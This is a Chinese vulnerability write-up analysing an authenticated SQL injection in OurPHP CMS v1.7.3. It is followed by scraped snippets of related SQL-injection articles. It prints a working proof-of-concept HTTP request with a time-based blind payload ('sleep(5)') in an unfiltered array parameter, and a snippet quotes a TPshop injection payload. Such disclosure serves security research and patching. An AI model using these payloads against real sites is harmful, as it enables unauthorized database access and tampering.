ourphp 最新版(v1.7.3) 后台sql注入

version:<?php
/*******************************************************************************
* Ourphp - CMS建站系统
* Copyright (C) 2017 www.ourphp.net
* 开发者:哈尔滨伟成科技有限公司
*******************************************************************************/

$ourphp_version="v1.7.3";
$ourphp_versiondate="20170615";
$ourphp_weixin="close";
$ourphp_apps="close";
$ourphp_alifuwu="close";

?>

首先看 index.php

加载了下面这些文件

include ‘./config/ourphp_code.php‘;
include ‘./config/ourphp_config.php‘;
include ‘./config/ourphp_version.php‘;
include ‘./config/ourphp_Language.php‘;
include ‘./function/ourphp_function.class.php‘;
include ‘./function/ourphp/Smarty.class.php‘;
include ‘./function/ourphp_system.class.php‘;
include ‘./function/ourphp_template.class.php‘;

其中 ourphp_function.class.php 为一些安全过滤函数

批量搜索 $_POST

挑了一处跟进去

\client\manage\ourphp_articleview.php  第71行

$query = $db -> update("`ourphp_article`","`OP_Articletitle` = ‘".admin_sql($_POST["OP_Articletitle"])."‘,`OP_Articleauthor` = ‘".admin_sql($_POST["OP_Articleauthor"])."‘,`OP_Articlesource` = ‘".admin_sql($_POST["OP_Articlesource"])."‘,`time` = ‘".date("Y-m-d H:i:s")."‘,`OP_Articlecontent` = ‘".admin_sql($_POST["OP_Articlecontent"])."‘,`OP_Tag` = ‘".$wordtag."‘,`OP_Class` = ‘".$OP_Articleclass[0]."‘,`OP_Lang` = ‘".$OP_Articleclass[1]."‘,`OP_Sorting` = ‘".admin_sql($_POST["OP_Articlesorting"])."‘,`OP_Attribute` = ‘".$OP_Articleattribute."‘,`OP_Url` = ‘".admin_sql($_POST["OP_Articleurl"])."‘,`OP_Description` = ‘".compress_html($OP_Articlecontent)."‘,`OP_Minimg` = ‘".$OP_Minimg."‘","where id = ".intval($_GET[‘id‘]));

发现大部分参数都经过了 admin_sql 函数的处理,但是发现 $OP_Articleattribute 没有经过admin_sql的处理

搜索 $OP_Articleattribute 发现

\client\manage\ourphp_articleview.php  第47-51行

        if (!empty($_POST["OP_Articleattribute"])){
        $OP_Articleattribute = implode(‘,‘,$_POST["OP_Articleattribute"]);
        }else{
        $OP_Articleattribute = ‘‘;
        }

显然也没有经过处理

这里是update 的注入点  而且没有回显 所以不能用报错注入

根据上面对 $OP_Articleattribute 知道这里应该传入数组

监控sql语句为

update `ourphp_article` set `OP_Articletitle` = ‘世界,你好!‘,`OP_Articleauthor` = ‘‘,`OP_Articlesource` = ‘‘,`time` = ‘2017-08-10 12:05:16‘,`OP_Articlecontent` = ‘世界,你好!‘,`OP_Tag` = ‘‘,`OP_Class` = ‘3‘,`OP_Lang` = ‘cn‘,`OP_Sorting` = ‘99‘,`OP_Attribute` = ‘aaaaaaaaaaaaa,xxxxxxxxx‘‘,`OP_Url` = ‘‘,`OP_Description` = ‘世界,你好!‘,`OP_Minimg` = ‘skin/noimage.png‘ where id = 3

带入了单引号

最后给出poc

POST /client/manage/ourphp_articleview.php?ourphp_cms=edit&id=3&page=1 HTTP/1.1
Host: localhost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pnti0rkun1s1rrqhhl9n6lqdr1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 484

OP_Articleclass=3%7Ccn&OP_Articletitle=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articleauthor=&OP_Articlesource=&a_upimg=skin%2Fnoimage.png&OP_Articlecontent=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articlesorting=99&OP_Articleurl=&OP_Articletag=&OP_Articledescription=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&submit=%E6%8F%90%2B%E4%BA%A4&OP_Articleattribute[0]=aaaaaaaaaaaaa&OP_Articleattribute[1]=xxxxxxxxx‘ where 1=1 and sleep(5)-- -

时间: 2024-11-03 21:49:15

ourphp 最新版(v1.7.3) 后台sql注入的相关文章

某shop后台sql注入漏洞

前言 最近看了下tpshop,审计出几个鸡肋的漏洞,这个SQL注入漏洞是其中之一.然后审计完网上搜了一下发现有一堆后台的sql注入漏洞,应该是觉得后台的SQL不用修叭(我个人是可以理解的). 漏洞触发点 首先要登录后台,这也是我说漏洞很鸡肋的原因.漏洞位于在后台的商城->文章->文章列表处的搜索抓包,存在漏洞的参数是keywords,当输入payload' or length(database())=10)#时,页面返回文章数0, 而当输入payload' or length(database

Java 后台sql注入

JdbcTemplate.update(sql, ArrayList.toArray()) Connection conn = null; PreparedStatement ps = null; conn = JdbcUtils.getConnection(); String sql = "select id,name,birthday,money from user where name=?"; ps = conn.prepareStatement(sql); ps.setStri

关于ECSHOP中sql注入漏洞修复

公司部署了一个ecshop网站用于做网上商城使用,部署在阿里云服务器上,第二天收到阿里云控制台发来的告警信息,发现ecshop网站目录下文件sql注入漏洞以及程序漏洞 如下图: 与技术沟通未果的情况下,网上查了点资料,对其文件进行修复,如下修改: 1,/admin/shopinfo.php修复方法 (大概在第53.71.105.123行,4个地方修复方式都一样)     admin_priv('shopinfo_manage');      修改为     admin_priv('shopinf

SQL注入攻击---web安全

一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入. 黑客通过SQL注入攻击可以拿到

利用SQL注入漏洞登录后台的实现方法 。。。。转载

一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接受返回的结果,并处理,返回给用户 因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话). 下面,我通过一个实例具体来演示下SQL注入 二.SQL注入实例详解(以上测试均假设服务器未开启magic

某游戏公司后台数据库SQL注入事件分析

某游戏公司后台数据库SQL注入事件分析 人物关系简介 Blank –SA Dawn(Boss) Ryan –DBA Fred –离开公司的安全顾问 本案例出自于<Unix/Linux网络日志分析与流量监控>一书,该事例详细描述了一家公司的后台服务器被入侵,黑客从中获取了大量游戏币帐号,并发送邮件相威胁的案例.主要遇到的问题是服务器被SQL注入或受到了SQL注入攻击 Blank是XX公司的网络架构师,技术好人缘也不错,他实际的工作室XX公司的"首席救火队员",每件事他都要自己

利用SQL注入漏洞登录后台的实现方法

利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的.  如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的.  前些天,网上传

PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在前台上传文件处,没有对文件后缀进行严格的审查,导致可以前台GETSHELL,直接获取到了网站的权限.点击马上实验,i春秋安全专家带你体验漏洞成因及危害. https://www.ichunqiu.com/course/58003  课程详解 DEF CON 24·400米之外破解你的智能蓝牙锁(公开

【Javaweb】后台的字符串转义,入库之前记得先对字符串转义防止sql注入问题

在<[JavaScript]某些字符不转义可以导致网页崩溃与涉及转义字符的显示方法>(点击打开链接)提及到一种表单之前,必须把表单的输入框的内容转义的方法,但是,其实这种字符串的转义更加应该放在后台中进行.这样同时能够有效地防止sql注入的问题. 所谓的sql注入是什么呢?比如,你做了一个登录功能什么的.你必须把根据用户输入的用户名,查询存放在数据库的密码的,然后与密码比对是不是? select语句一般这样写select username,password from userinfo表 whe